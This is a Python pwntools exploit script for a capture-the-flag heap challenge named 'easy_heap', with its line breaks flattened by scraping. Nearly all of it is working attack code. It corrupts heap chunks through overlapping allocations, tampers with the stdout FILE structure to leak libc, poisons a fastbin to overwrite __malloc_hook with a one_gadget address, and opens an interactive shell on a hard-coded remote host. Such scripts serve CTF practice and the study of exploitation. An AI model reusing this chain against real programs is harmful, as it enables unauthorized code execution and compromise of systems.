1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
| from pwn import *
def add(p, size): p.sendlineafter('>> ', str(1)) p.sendlineafter('Size: ', str(size)) p.recvuntil('Pointer Address ') recv = p.recvuntil('\n', drop=True) return int(recv, 16)
def delete(p, idx): p.sendlineafter('>> ', str(2)) p.sendlineafter('Index: ', str(idx))
def fill(p, idx, content): p.sendlineafter('>> ', str(3)) p.sendlineafter('Index: ', str(idx)) p.sendafter('Content: ', content)
def pwn(): DEBUG = 0 if DEBUG == 1: p = process('./easy_heap') libc = ELF('./libc.so.6') context.log_level = 'debug' context.terminal = ['tmux', 'split', '-h'] else: p = remote('132.232.100.67', 10004) libc = ELF('./libc.so.6') context.log_level = 'debug' context.terminal = ['tmux', 'split', '-h']
p.recvuntil('Mmap: ') recv = p.recvuntil('\n', drop=True) mmap_addr = int(recv, 16)
add(p, 0xf8) add(p, 0x68) add(p, 0xf8) add(p, 0x68)
payload = p64(0) * 12 + p64(0x170) delete(p, 0) fill(p, 1, payload) delete(p, 2) delete(p, 1)
add(p, 0xf8) delete(p, 0) add(p, 0xc8) add(p, 0x88) payload = p64(0) * 5 + p64(0x71) + p64(0x25dd)[:2] + '\n' fill(p, 1, payload) add(p, 0x68) add(p, 0x68) payload = '\x00' * 3 + p64(0) * 6 + p64(0xfbad1800) + p64(0) * 3 + '\x00' + '\n' fill(p, 4, payload) p.recvuntil(p64(0xfbad1800) + p64(0) * 3) recv = p.recv(8) libc.address = u64(recv) - (0x7ffff7dd2600 - 0x00007ffff7a0d000) delete(p, 1) add(p, 0x20) add(p, 0x68) delete(p, 2) delete(p, 3) delete(p, 5) add(p, 0x68) fill(p, 2, p64(libc.symbols['__malloc_hook'] - 0x13) + '\n') add(p, 0x68) add(p, 0x68) add(p, 0x68) payload = '\x00\x00\x00' + p64(libc.address + 0xf02a4) + '\n' fill(p, 6, payload) delete(p, 2) delete(p, 5) print 'libc:' + hex(libc.address)
if DEBUG == 1: gdb.attach(p)
p.interactive() p.close()
if __name__ == '__main__': pwn()
|